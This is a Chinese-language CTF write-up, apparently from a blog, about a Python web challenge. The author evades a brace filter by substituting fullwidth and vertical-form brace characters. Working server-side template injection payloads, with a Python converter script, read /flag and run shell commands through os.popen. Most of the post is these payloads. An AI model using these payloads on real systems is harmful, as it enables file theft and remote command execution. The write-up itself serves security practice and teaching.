赞
踩
打开网站就一个输入框,按理来说这种类型就是注入类型的漏洞了,至于什么注入还不知道
尝试了目录遍历以及漏洞扫描但是没有什么卵用,抓了一下包发现是python,所以考虑一下SSTI注入
但是好像{{}}被过滤了。
通过符号列表进行爆破,发现 / 也被过滤了,但是 ︷ 会被解析成 { ,︸ 会被解析成 }
然后就可以进行SSTI注入了
- """
- { -> ︷/﹛
- } -> ︸/﹜
- ' -> '
- , -> ,
- " -> "
- """
-
-
-
- #str = '''{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}''' # 原字符串
- str='{{().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__['open'](\'/flag\').read()}}'
-
- #︷︷().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__['open']('/flag').read()︸︸
-
-
- str = str.replace('{', '︷')
-
- str = str.replace('}', '︸')
-
- str = str.replace('\'',''' )
-
- str = str.replace('\"', '"')
-
-
-
- print(str)

下面是可以注入的ssti
- ︷︷().__class__.__mro__[1].__subclasses__()[91].__subclasses__()[91].__init__.__globals__.__builtins__['open']('/flag').read()︸︸
-
- ︷︷().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__['open']('/flag').read()︸︸
-
- ︷︷().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")︸︸
得到flag{8f604f91-c36a-4413-bdaf-e786ffbfda61}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。